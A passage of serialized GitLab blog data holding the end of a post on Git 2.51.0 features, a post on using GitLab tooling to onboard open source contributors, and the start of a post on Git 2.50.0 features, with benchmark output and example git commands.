repositories with extensive CI/CD pipelines.\n\nGit reference transactions can include multiple reference updates, but they follow an all-or-nothing approach. If any single update within the transaction fails, the entire transaction fails and none of the reference updates are applied. But reference updates as part of `git-push(1)` and `git-fetch(1)` are allowed to fail, which allows repositories to synchronize a subset of references even in the case where a different subset has diverged. To facilitate this behavior, Git creates a separate transaction for each reference update, allowing some transactions to fail while the rest succeed. \n\nCreating a separate transaction per update incurs significant overhead, as each transaction includes an initiation and teardown phase and also checks for whether there are conflicting reference names. The “reftable” backend also performs auto-compaction at the end of a transaction, so multiple transactions would trigger multiple auto-compactions, which would drastically increase the latency of the command. \n\nIn Git 2.51.0, these commands now use batched updates instead of separate transactions. Batched updates allow updating multiple references under a single transaction, while still allowing some updates to fail. This removes the overhead and scales better with the number of references to be updated, since only a single transaction is used. This significantly improves the performance of the “reftable” backend, which now outperforms the “files” backend. Users can reap these performance improvements without needing to make any changes.\n\nFor `git-fetch(1)` we see a *22x performance improvement for the “reftable” backend* and *1.25x improvement for the “files” backend* when used in a repository with 10,000 references.\n\n\n```\n\nBenchmark 1: fetch: many refs (refformat = reftable, refcount = 10000, revision = master)\n  Time (mean ± σ):      3.403 s ±  0.775 s    [User: 1.875 s, System: 1.417 s]\n  Range (min … max):    2.454 s …  4.529 s    10 runs\n\nBenchmark 2: fetch: many refs (refformat = reftable, refcount = 10000, revision = HEAD)\n  Time (mean ± σ):     154.3 ms ±  17.6 ms    [User: 102.5 ms, System: 56.1 ms]\n  Range (min … max):   145.2 ms … 220.5 ms    18 runs\n\nSummary\n  fetch: many refs (refformat = reftable, refcount = 10000, revision = HEAD) ran\n   22.06 ± 5.62 times faster than fetch: many refs (refformat = reftable, refcount = 10000, revision = master)\n\nBenchmark 1: fetch: many refs (refformat = files, refcount = 10000, revision = master)\n  Time (mean ± σ):     605.5 ms ±   9.4 ms    [User: 117.8 ms, System: 483.3 ms]\n  Range (min … max):   595.6 ms … 621.5 ms    10 runs\n\nBenchmark 2: fetch: many refs (refformat = files, refcount = 10000, revision = HEAD)\n  Time (mean ± σ):     485.8 ms ±   4.3 ms    [User: 91.1 ms, System: 396.7 ms]\n  Range (min … max):   477.6 ms … 494.3 ms    10 runs\n\nSummary\n  fetch: many refs (refformat = files, refcount = 10000, revision = HEAD) ran\n    1.25 ± 0.02 times faster than fetch: many refs (refformat = files, refcount = 10000, revision = master)\n```\n\n\nFor `git-push(1)` we see a *18x performance improvement for the reftable backend* and *1.21x improvement for the “files” backend* when used in a repository with 10,000 references.\n\n\n```\n\nBenchmark 1: push: many refs (refformat = reftable, refcount = 10000, revision = master)\n  Time (mean ± σ):      4.276 s ±  0.078 s    [User: 0.796 s, System: 3.318 s]\n  Range (min … max):    4.185 s …  4.430 s    10 runs\n\nBenchmark 2: push: many refs (refformat = reftable, refcount = 10000, revision = HEAD)\n  Time (mean ± σ):     235.4 ms ±   6.9 ms    [User: 75.4 ms, System: 157.3 ms]\n  Range (min … max):   228.5 ms … 254.2 ms    11 runs\n\nSummary\n  push: many refs (refformat = reftable, refcount = 10000, revision = HEAD) ran\n   18.16 ± 0.63 times faster than push: many refs (refformat = reftable, refcount = 10000, revision = master)\n\nBenchmark 1: push: many refs (refformat = files, refcount = 10000, revision = master)\n  Time (mean ± σ):      1.121 s ±  0.021 s    [User: 0.128 s, System: 0.975 s]\n  Range (min … max):    1.097 s …  1.156 s    10 runs\n\nBenchmark 2: push: many refs (refformat = files, refcount = 10000, revision = HEAD)\n  Time (mean ± σ):     927.9 ms ±  22.6 ms    [User: 99.0 ms, System: 815.2 ms]\n  Range (min … max):   903.1 ms … 978.0 ms    10 runs\n\nSummary\n  push: many refs (refformat = files, refcount = 10000, revision = HEAD) ran\n    1.21 ± 0.04 times faster than push: many refs (refformat = files, refcount = 10000, revision = master)\n```\n\n\nThis [project](https://lore.kernel.org/git/20250514-501-update-git-fetch-1-to-use-partial-transactions-v1-0-7c65f46493d4@gmail.com/) was led by [Karthik Nayak](https://gitlab.com/knayakgl).\n\n\n## Planning towards Git 3.0\n\n\n11 years ago, Git 2.0 was released, which was the last major version release of Git. While we don’t have a specific timeline for the next major Git release, this release includes decisions made towards Git 3.0.\n\n\nThe Git 3.0 release planning allows us to plan for and implement breaking changes and communicate them to the extended Git community. Next to documentation, Git can also be compiled with these breaking changes for those who want to experiment with these changes. More information can be found in the [BreakingChanges document](https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/BreakingChanges.adoc). \n\n\nThe Git 2.51.0 release makes some significant changes towards Git 3.0. \n\n\n### Reftable as the default reference backend\n\n\nIn the [Git 2.45.0](https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/RelNotes/2.45.0.adoc?ref_type=heads) release, the “reftable” format was introduced as a new backend for storing references like branches or tags in Git, which fixes many of the issues with the existing \"files\" backend. Please read our [beginner's guide to how reftables work](https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format/) for more insight into the “reftable” backend.\n\n\nThe Git 2.51.0 release marks the switch to using the \"reftable\" format as default in Git 3.0 for newly created repositories and also wires up the change behind a feature flag. The “reftable” format provides the following improvements over the traditional “files” backend:\n\n\n* It is impossible to store two references that only differ in casing on case-insensitive filesystems with the \"files\" format. This issue is common on Windows and macOS platforms. As the \"reftable\" backend does not use filesystem paths to encode reference names this problem goes away.\n\n* Similarly, macOS normalizes path names that contain unicode characters, which has the consequence that you cannot store two names with unicode characters that are encoded differently with the \"files\" backend. Again, this is not an issue with the \"reftable\" backend.\n\n* Deleting references with the \"files\" backend requires Git to rewrite the complete \"packed-refs\" file. In large repositories with many references this file can easily be dozens of megabytes in size; in extreme cases it may be gigabytes. The \"reftable\" backend uses tombstone markers for deleted references and thus does not have to rewrite all of its data.\n\n* Repository housekeeping with the \"files\" backend typically performs all-into-one repacks of references. This can be quite expensive, and consequently housekeeping is a tradeoff between the number of loose references that accumulate and slow down operations that read references, and compressing those loose references into the \"packed-refs\" file. The \"reftable\" backend uses geometric compaction after every write, which amortizes costs and ensures that the backend is always in a well-maintained state.\n\n* Operations that write multiple references at once are not atomic with the \"files\" backend. Consequently, Git may see in-between states when it reads references while a reference transaction is in the process of being committed to disk.\n\n* Writing many references at once is slow with the \"files\" backend because every reference is created as a separate file. The \"reftable\" backend significantly outperforms the \"files\" backend by multiple orders of magnitude.\n\n* The “reftable” backend uses a binary format with prefix compression for reference names. As a result, the format uses less space compared to the \"packed-refs\" file.\n\n\nThis project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n\n### SHA-256 as the default hash function\n\n\nThe Git version control system stores objects in a content-addressable filesystem. This means it uses the hash of an object to address content such as files, directories, and revisions, unlike traditional filesystems, which use sequential numbers. Using a hash function has the following advantages: \n\n\n* Easy integrity checks as a single bit flip would change the hash output completely.\n\n* Fast object lookup as objects can be indexed by their hash.\n\n* Object names can be signed and third parties can trust the hash to address the signed object and all objects it references.\n\n* Communication using Git protocol and out of band communication methods have a short reliable string that can be used to reliably address stored content.\n\n\nSince its inception, Git has used the SHA-1 hashing algorithm. However, security researchers have discovered some flaws in SHA-1, specifically the [SHAttered attack](https://shattered.io), which shows a practical SHA-1 hash collision. We moved to using a hardened SHA-1 implementation by default since Git 2.13.0. However, SHA-1 is still a weak hashing algorithm and it is only a matter of time before additional attacks will further reduce its security.\n\n\nSHA-256 was identified as the successor to SHA-1 in late 2018. Git 2.51.0 marks it as the default hash algorithm to be used in Git 3.0.\n\n\nThis project was led by [brian m. carlson](https://github.com/bk2204).\n\n\n### Removal of `git-whatchanged(1)`\n\n\nThe `git-whatchanged(1)` command shows logs with differences each commit introduces. While this is now succeeded by `git log --raw`, the command was kept around for historical reasons. \n\n\nGit 2.51.0 requires users of the command to explicitly use the `--i-still-use-this` flag to capture any users who still use the deprecated command, and also marks the command for removal in Git 3.0. \n\n\nThis project was led by [Junio C Hamano](https://simple.wikipedia.org/wiki/Junio_Hamano).\n\n\n## `git switch` and `git restore` are no longer experimental\n\n\nThe `git-checkout(1)` command can be used for multiple different use cases. It can be used for switching references:\n\n\n```\n$ git status\nOn branch master\nYour branch is up to date with 'origin/master'.\n\nnothing to commit, working tree clean\n\n$ git checkout next\nSwitched to branch 'next'\nYour branch is up to date with 'origin/next'.\n```\n\n\nOr for restoring files:\n\n\n```\n$ echo \"additional line\" >> git.c\n\n$ git status\nOn branch master\nYour branch is up to date with 'origin/master’.\n\nChanges not staged for commit:\n  (use \"git add \u003Cfile>...\" to update what will be committed)\n  (use \"git restore \u003Cfile>...\" to discard changes in working directory)\n    modified:   git.c\n\nno changes added to commit (use \"git add\" and/or \"git commit -a\")\n\n$ git checkout git.c\nUpdated 1 path from the index\n\n$ git status\nOn branch master\nYour branch is up to date with 'origin/master’.\n\nnothing to commit, working tree clean\n```\n\n\nFor new users of Git, this can cause a lot of confusion. So in Git 2.33.0, these were split into two new commands, `git-switch(1)` and `git-restore(1)`.\n\nThe `git-switch(1)` command allows users to switch to a specific branch: \n\n\n```\n$ git status\nOn branch master\nYour branch is up to date with 'origin/master'.\n\nnothing to commit, working tree clean\n\n$ git switch next\nSwitched to branch 'next'\nYour branch is up to date with 'origin/next'.\n```\n\n\nAnd the `git-restore(1)` command allows users to restore working tree files: \n\n\n```\n$ echo \"additional line\" >> git.c\n\n$ git status\nOn branch master\nYour branch is up to date with 'origin/master’.\n\nChanges not staged for commit:\n  (use \"git add \u003Cfile>...\" to update what will be committed)\n  (use \"git restore \u003Cfile>...\" to discard changes in working directory)\n    modified:   git.c\n\nno changes added to commit (use \"git add\" and/or \"git commit -a\")\n\n$ git restore git.c\n\n$ git status\nOn branch master\nYour branch is up to date with 'origin/master’.\n\nnothing to commit, working tree clean\n```\n\n\nWhile the two commands have existed since 2019, they were marked as experimental. The effect is that the Git project doesn’t guarantee backwards compatibility for those commands: the behavior may change at any point in time. While the intent originally was to stabilize those commands after a couple of releases, this hasn’t happened up to this point.\n\nThis has led to several discussions on the Git mailing list where users are unsure whether they can start using these new commands, or whether they might eventually go away again. But given that no significant changes have ever been proposed, and that some users are already using these commands, we have decided to no longer declare them as experimental in Git 2.51.\n\nThis project was led by [Justin Tobler](https://gitlab.com/justintobler).\n\n\n## `git for-each-ref(1)` receives pagination support\n\n\nThe `git for-each-ref` command is used to list all references present in the repository. As it is part of the plumbing layer of Git, this command is frequently used for example by hosting forges to list references that exist in the repository in their UI. But as repositories grow, it becomes less realistic to list all references at once – after all, the largest repositories may contain millions of them! So instead, forges tend to paginate the references.\n\n\nThis surfaces an important gap: `git-for-each-ref` does not know to skip references from previous pages that have already been shown. Consequently, it may have to list a large number of uninteresting references before it finally starts to yield the references required for the current page. This is inefficient and leads to higher-than-necessary latency or even timeouts.\n\n\nGit 2.51.0 supports a new `--start-after` flag for `git for-each-ref`, which allows paginating the output. This can also be combined with the `--count` flag to iterate over a batch of references. \n\n\n```\n$ git for-each-ref --count=10\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-001\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-002\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-003\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-004\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-005\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-006\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-007\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-008\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-009\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-010\n\n$ git for-each-ref --count=10 --start-after=refs/heads/branch-010\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-011\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-012\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-013\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-014\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-015\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-016\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-017\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-018\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-019\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-020\n```\n\n\nThis project was led by [Karthik Nayak](https://gitlab.com/knayakgl).\n\n\n## What's next?\n\n\nReady to experience these improvements? Update to Git 2.51.0 and start using `git switch` and `git restore` in your daily workflow. \n\n\nFor GitLab users, these performance enhancements will automatically improve your development experience once your Git version is updated.\n\n\nLearn more in the [official Git 2.51.0 release notes](https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u) and explore our [complete archive of Git development coverage](https://about.gitlab.com/blog/tags/git/).\n",[1072,847,269],"git",{"featured":6,"template":798,"slug":1074},"what-s-new-in-git-2-51-0",{"content":1076,"config":1086},{"title":1077,"description":1078,"body":1079,"authors":1080,"heroImage":1083,"category":756,"tags":1084,"date":1085},"How we use GitLab to grow open source communities","Learn how to use the DevSecOps platform to solve onboarding problems for new contributors.","GitLab's Contributor Success team faced a challenge.\n\nWhile our returning open source contributors were merging more code changes and collaborating on deeper features, first-time contributors were struggling to get started. We knew many newcomers to open source often gave up or never asked for help. But as advocates for [GitLab's mission](https://handbook.gitlab.com/handbook/company/mission/)\n\nto enable everyone to contribute, we wanted to do better.\n\n\nWe started running research studies on open source contributors to GitLab. Then we improved the stumbling blocks. In January, we achieved a record of 184 unique community contributors to GitLab in a single month,\n\nexceeding our team target of 170 for the first time.\n\n\nThree months later, we broke it again with 192.\n\n\nHere's how we used GitLab's own tools to solve the newcomer dilemma and grow our open source community.\n\n\n## What we learned studying first-time contributors\n\n\nIn 2023, we conducted the first-ever user study of GitLab open source contributors.\n\nWe watched six participants who had never contributed to GitLab make their first attempt. They completed diary studies and Zoom interviews detailing their experience.\n\n\nParticipants told us:\n\n\n* The contributor documentation was confusing\n\n* Getting started felt overwhelming\n\n* It wasn't clear how or where to find help\n\n\nOnly one out of the six participants successfully merged a code contribution to GitLab during the study.\n\n\nIt became clear we needed to focus on the onboarding experience if we wanted new contributors to succeed.\n\nSo we [iterated](https://handbook.gitlab.com/handbook/values/#iteration)!\n\n\nOur team spent the next year addressing their challenges. We used GitLab tools,\n\nsuch as issue templates, scheduled pipelines, webhooks, and the GitLab Query Language (GLQL), to build an innovative semi-automated onboarding solution.\n\n\nIn 2025, we performed a follow-up user study with new participants who had never made a contribution to GitLab. All 10 participants successfully created and merged contributions to GitLab, a 100% success rate. The feedback showed a great appreciation for the new onboarding process, the speed at which\n\nmaintainers checked in on contributors, and the recognition we offered to contributors.\n\n\nEven better, participants shared how much fun they had contributing:\n\n\"I felt a little rush of excitement at being able to say 'I helped build GitLab.'\"\n\n\n## We built personal onboarding with GitLab\n\n\nOur solution started with engagement.\n\nTo help newcomers get started, we introduced a personal onboarding process connecting each\n\ncontributor with a community maintainer.\n\n\nWe created an [issue template](https://gitlab.com/gitlab-community/meta/-/blob/ac0e5579a6a1cf26e367010bfcf6c7d35b38d4f8/.gitlab/issue_templates/Onboarding.md) with a clear checklist of tasks.\n\n\nThe onboarding issue also handles access approval for the\n\n[GitLab community forks](https://about.gitlab.com/blog/gitlab-community-forks/),\n\na collection of shared projects that make it easier to push changes, collaborate with others,\n\nand access GitLab Ultimate and Duo features.\n\n\nUsing [scoped labels](https://docs.gitlab.com/user/project/labels/#scoped-labels), we indicate the status of the access request for easy maintainer follow-ups.\n\n\n![GitLab onboarding issue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/vkiyl0hrfbgcer3nz38r.png)\n\n\nWe started with a Ruby script run via a [scheduled pipeline](https://docs.gitlab.com/ci/pipelines/schedules/),\n\nchecking for new access requests and using the issue template to create personalized onboarding issues.\n\n\nFrom here, our maintainers engage with new contributors to verify access, answer questions, and find issues.\n\n\n## We standardized responses with comment templates\n\n\nWith multiple maintainers in the GitLab community, we wanted to ensure consistent and clear messaging.\n\n\nWe created [comment templates](https://docs.gitlab.com/user/profile/comment_templates/),\n\nwhich we sync with the repository using the GraphQL API and a\n\n[Ruby script](https://gitlab.com/gitlab-community/meta/-/blob/dd6e0c2861c848251424b72e3e8c5603dcaac725/bin/sync_comment_templates.rb).\n\n\nThe script is triggered in `.gitlab-ci.yml` when comment template changes are pushed\n\nto the default branch (a dry run is triggered in merge requests).\n\n\n```yaml\n\nexecute:sync-comment-templates:\n  stage: execute\n  extends: .ruby\n  script:\n    - bundle exec bin/sync_comment_templates.rb\n  variables:\n    SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_ONLY\n  rules:\n    - if: $CI_PIPELINE_SOURCE == 'schedule' || $CI_PIPELINE_SOURCE == \"trigger\"\n      when: never\n    - if: $EXECUTE_SYNC_COMMENT_TEMPLATES == '1'\n    - if: $CI_MERGE_REQUEST_IID\n      changes:\n        - .gitlab/comment_templates/**/*\n      variables:\n        REPORT_ONLY: 1\n    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH\n      changes:\n        - .gitlab/comment_templates/**/*\n      variables:\n        FORCE_SYNC: 1\n        DRY_RUN: 0\n        SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_WRITE\n```\n\n\n\n\n![GitLab comment template](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/qmfaymqhq3zgdcnm6a3j.png)\n\n\n\n\n## We eliminated the 5-minute wait time\n\n\nOur first iteration was a little slow.\n\nAfter starting the onboarding process, contributors wondered what to do next while the scheduled\n\npipeline took up to 5 minutes to create their onboarding issue.\n\nFive minutes feels like forever when you have the momentum to dive in.\n\n\n[Niklas](https://gitlab.com/Taucher2003), a member of our [Core team ](https://about.gitlab.com/community/core-team/), built a solution.\n\nHe added [webhook events for access requests](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/163094)\n\nand [custom payload templates for webhooks](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/142738).\n\n\nThese features together allowed us to trigger a pipeline immediately instead of waiting for the schedule.\n\nThis reduces the time to roughly 40 seconds (the time it takes for the CI pipeline to run)\n\nand generates the onboarding issue right away. It also saves thousands of wasted pipelines and compute minutes when no access requests actually need processing.\n\n\nWe set up a [pipeline trigger token](https://docs.gitlab.com/ci/triggers/#create-a-pipeline-trigger-token)\n\nand used this as the target for the webhook, passing the desired environment variables:\n\n\n```json\n\n{\n  \"ref\": \"main\",\n  \"variables\": {\n    \"EXECUTE_ACCESS_REQUESTS\": \"1\",\n    \"DRY_RUN\": \"0\",\n    \"PIPELINE_NAME\": \"Create onboarding issues\",\n    \"GROUP_ID\": \"{{group_id}}\",\n    \"EVENT_NAME\": \"{{event_name}}\"\n  }\n}\n\n```\n\n\n![Pipeline list](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512805/qom7hnqnwfcdzvria7dd.png)\n\n\n## We automated follow-ups\n\n\nWith an increasing volume of customers and community contributors onboarding to the GitLab community,\n\nmaintainers struggled to track which issues needed attention and some follow-up questions got lost.\n\n\nWe built automation leveraging webhooks and Ruby to label issues updated by community members.\n\nThis creates a clear signal of issue status for maintainers.\n\n\n[GitLab Triage](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage)\n\nautomatically nudges idle onboarding issues to ensure we maintain contributor momentum.\n\n\n![Automated nudge for idle GitLab onboarding issues](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512811/gkj3qaidjl1vv2dlu8ep.png)\n\n\n## We organized issue tracking with GLQL\n\n\nWe built a [GLQL view](https://docs.gitlab.com/user/glql/) to keep track of issues.\n\nThis GLQL table summarizes onboarding issues which need attention,\n\nso maintainers can review and follow up with community members.\n\n\n![GLQL view of issue tracking](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/hdduf0orntdfhkysheae.png)\n\n\nThese GLQL views improved our overall triage [efficiency](https://handbook.gitlab.com/handbook/values/#efficiency).\n\nIt was so successful we ended up using this strategy within the [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/)\n\nand [GitLab for Education](https://about.gitlab.com/solutions/education/) programs, too.\n\nWith GLQL tables for support issues, these community programs lowered their response times by 75%.\n\n\n## We made the README findable\n\n\nThe [@gitlab-community group](https://gitlab.com/gitlab-community/)\n\nis the home for contributors on Gitlab.com.\n\nWe already had a `README.md` file explaining the community forks and onboarding process, but this file\n\nlived in our meta project.\n\nWith our follow-up user study, we discovered this was a point of confusion for newcomers when their\n\nonboarding issues were under a different project.\n\n\nWe used [GitLab's project mirroring](https://docs.gitlab.com/user/project/repository/mirror/)\n\nto solve this and mirrored the meta project to `gitlab-profile`.\n\nThis surfaced the existing README file at the group level, making it easier to discover.\n\n\n![GitLab project mirroiring](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512809/kbgdxyilza71kmj0aeqt.png)\n\n\n![Group README](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/taosgn8vvgo8onszuwaf.png)\n\n\n## The results speak for themselves\n\n\nBy dogfooding GitLab, we improved the stumbling blocks found in our research studies\n\nand transformed the GitLab contributor journey.\n\nWe have grown the number of customers and community members contributing to GitLab,\n\nadding features to the product, solving bugs, and adding to our CI/CD catalog.\n\n\nOur onboarding process has increased the rate newcomers join the community, and our total number of\n\ncontributors on the community forks has doubled over the last 9 months.\n\n\n![Community forks growth chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/xagra4vfsrhbcwnzekmp.png)\n\n\nWe reduced the time it takes for newcomers to make their first contribution by connecting them\n\nwith maintainers faster and supporting them in getting started.\n\nWe use [GitLab's value stream analytics](https://docs.gitlab.com/user/group/value_stream_analytics/)\n\nto track our response rates.\n\n\n* First response time from community maintainers is down to 46 minutes over the last 3 months\n\n* Average approval time for community forks access is down to 1 hour over the last 3 months\n\n\n![Value stream analytics timeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512812/jzksakrfdb22hooqemzh.png)\n\n\nThe 100% success rate of our 2025 user study confirmed these improvements for our first-time contributors.\n\n\n## We invested time savings into contributor recognition\n\n\nFixing these newcomer challenges allowed us more capacity to focus on better recognition of\n\ncontributors, incentivizing first-timers to keep coming back.\n\nThe result is [contributors.gitlab.com](https://contributors.gitlab.com/).\n\nWe built out a central hub for our contributors that features gamified leaderboards,\n\nachievements, and rewards.\n\nContributors can see their impact, track progress, and grow in the community.\n\n\n## Sharing what we learned\n\n\nThese improvements work and are repeatable for other open source projects.\n\nWe are sharing our approach across communities and conferences so that other projects can consider using these tools to grow.\n\n\nAs more organizations learn the barriers to participation, we can create a more welcoming open source environment.\n\nWith these GitLab tools, we can offer a smoother experience for both contributors and maintainers.\n\nWe're committed to advancing this work and collaborating to remove barriers for open source projects everywhere.\n\n\n## Start the conversation\n\n\nWant to learn more about growing your contributor community?\n\nEmail `contributors@gitlab.com` or [open an issue](https://gitlab.com/gitlab-org/developer-relations/contributor-success/team-task/-/issues)\n\nto start a discussion.\n\nWe're here to help build communities.\n",[1081,1082],"Lee Tickett","Daniel Murphy","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099558/Blog/Hero%20Images/Blog/Hero%20Images/gitlabflatlogomap_gitlabflatlogomap.png_1750099558369.png",[847,269,766],"2025-07-15",{"featured":6,"template":798,"slug":1087},"how-we-use-gitlab-to-grow-open-source-communities",{"content":1089,"config":1097},{"title":1090,"description":1091,"authors":1092,"heroImage":1068,"body":1094,"date":1095,"category":756,"tags":1096},"What’s new in Git 2.50.0?","Here are contributions from GitLab's Git team and the Git community such as the git-diff-pairs(1) command and git-update-ref(1) option to perform batched reference updates.",[1093],"Justin Tobler","The Git project recently released [Git Version\n2.50.0](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/T/#u). Let's\nlook at a few notable highlights from this release, which includes\ncontributions from the Git team at GitLab and also the wider Git community.\n\n## New git-diff-pairs(1) command\n\n\nDiffs are at the heart of every code review and show all the changes made\n\nbetween two revisions. GitLab shows diffs in various places, but the most\n\ncommon place is a merge request's [\"Changes\"\ntab](https://docs.gitlab.com/user/project/merge_requests/changes/).\n\nBehind the scenes, diff generation is powered by\n\n[`git-diff(1)`](https://git-scm.com/docs/git-diff). For example:\n\n\n```shell\n\n$ git diff HEAD~1 HEAD\n\n```\n\n\nThis command returns the full diff for all changed files. This might pose a\nscalability challenge because the number of files changed between a set of\nrevisions could be very large and cause the command to reach self-imposed\ntimeouts for the GitLab backend. For large change sets, it would be better\nif\n\nthere were a way to break diff computation into smaller, more digestible\nchunks.\n\n\nOne way this can be achieved is by using\n\n[`git-diff-tree(1)`](https://git-scm.com/docs/git-diff-tree) to retrieve\ninfo\n\nabout all the changed files:\n\n\n```shell\n\n$ git diff-tree -r -M --abbrev HEAD~ HEAD\n\n:100644 100644 c9adfed339 99acf81487 M     \nDocumentation/RelNotes/2.50.0.adoc\n\n:100755 100755 1047b8d11d 208e91a17f M      GIT-VERSION-GEN\n\n```\n\n\nGit refers to this output as the [\"raw\"\nformat](https://git-scm.com/docs/git-diff-tree#_raw_output_format).\n\nIn short, each line of output lists filepairs and the accompanying metadata\n\nabout what has changed between the start and end revisions. Compared to\n\ngenerating the \"patch\" output for large changes, this process is relatively\n\nquick and provides a summary of everything that changed. This command can\noptionally perform rename detection by  appending the `-M` flag to check if\nidentified changes were due to a file rename.\n\n\nWith this information, we could use `git-diff(1)` to compute each of the\n\nfilepair diffs individually. For example, we can provide the blob IDs\n\ndirectly:\n\n\n```shell\n\n$ git diff 1047b8d11de767d290170979a9a20de1f5692e26\n208e91a17f04558ca66bc19d73457ca64d5385f\n\n```\n\n\nWe can repeat this process for each of the filepairs, but spinning up a\n\nseparate Git process for each individual file diff is not very efficient.\n\nFurthermore, when using blob IDs, the diff loses some contextual information\n\nsuch as the change status, and file modes which are stored in with the\nparent\n\ntree object. What we really want is a mechanism to feed \"raw\" filepair info\nand\n\ngenerate the corresponding patch output.\n\n\nWith the 2.50 release, Git has a new built-in command named\n\n[`git-diff-pairs(1)`](https://git-scm.com/docs/git-diff-pairs). This command\n\naccepts \"raw\" formatted filepair info as input on stdin to determine exactly\nwhich patches to output. The following example showcases how this command\ncould be\n\nused:\n\n\n```shell\n\n$ git diff-tree -r -z -M HEAD~ HEAD | git diff-pairs -z\n\n```\n\n\nWhen used in this manner, the resulting output is identical to using\n`git-diff(1)`.\n\nBy having a separate command to generate patch output, the \"raw\" output from\n\n`git-diff-tree(1)` can be broken up into smaller batches of filepairs and\nfed to separate\n\n`git-diff-pairs(1)` processes. This solves the previously mentioned\nscalability\n\nconcern because diffs no longer have to be computed all at once. Future\nGitLab\n\nreleases could build upon this mechanism to improve diff\n\ngeneration performance, especially in cases where large change sets are\n\nconcerned. For more information on this change, check out the corresponding\n\n[mailing-list\nthread](https://lore.kernel.org/git/20250228213346.1335224-1-jltobler@gmail.com/).\n\n\n_This project was led by [Justin Tobler](https://gitlab.com/justintobler)._\n\n\n## Batched reference updates\n\n\nGit provides the\n[`git-update-ref(1)`](https://git-scm.com/docs/git-update-ref)\n\ncommand to perform reference updates. When used with the `--stdin` flag,\n\nmultiple reference updates can be batched together in a single transaction\nby\n\nspecifying instructions for each reference update to be performed on stdin.\n\nBulk updating references in this manner also provides atomic behavior\nwhereby a\n\nsingle reference update failure results in an aborted transaction and no\n\nreferences being updated. Here is an example showcasing this behavior:\n\n\n```shell\n\n# Create repository with three empty commits and branch named \"foo\"\n\n$ git init\n\n$ git commit --allow-empty -m 1\n\n$ git commit --allow-empty -m 2\n\n$ git commit --allow-empty -m 3\n\n$ git branch foo\n\n\n# Print out the commit IDs\n\n$ git rev-list HEAD\n\ncf469bdf5436ea1ded57670b5f5a0797f72f1afc\n\n5a74cd330f04b96ce0666af89682d4d7580c354c\n\n5a6b339a8ebffde8c0590553045403dbda831518\n\n\n# Attempt to create a new reference and update existing reference in\ntransaction.\n\n# Update is expected to fail because the specified old object ID doesn’t\nmatch.\n\n$ git update-ref --stdin \u003C\u003CEOF\n\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518\n5a74cd330f04b96ce0666af89682d4d7580c354c\n\n> EOF\n\nfatal: cannot lock ref 'refs/heads/foo': is at\ncf469bdf5436ea1ded57670b5f5a0797f72f1afc but expected\n5a74cd330f04b96ce0666af89682d4d7580c354c\n\n\n# The \"bar\" reference was not created.\n\n$ git switch bar\n\nfatal: invalid reference: bar\n\n```\n\n\nCompared to updating many references individually, updating in bulk is also\n\nmuch more efficient. While this works well, there might be certain\n\ncircumstances where it is okay for a subset of the requested reference\nupdates\n\nto fail, but we still want to take advantage of the efficiency gains of bulk\n\nupdates.\n\n\nWith this release, `git-update-ref(1)` has the new `--batch-updates` option,\n\nwhich allows the updates to proceed even when one or more reference updates\n\nfails. In this mode, individual failures are reported in the following\nformat:\n\n\n```text\n\nrejected SP (\u003Cold-oid> | \u003Cold-target>) SP (\u003Cnew-oid> | \u003Cnew-target>) SP\n\u003Crejection-reason> LF\n\n```\n\n\nThis allows successful reference updates to proceed while providing context\nto\n\nwhich updates were rejected and for what reason. Using the same example\n\nrepository from the previous example:\n\n\n```shell\n\n# Attempt to create a new reference and update existing reference in\ntransaction.\n\n$ git update-ref --stdin --batch-updates \u003C\u003CEOF\n\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n\n> update refs/heads/foo 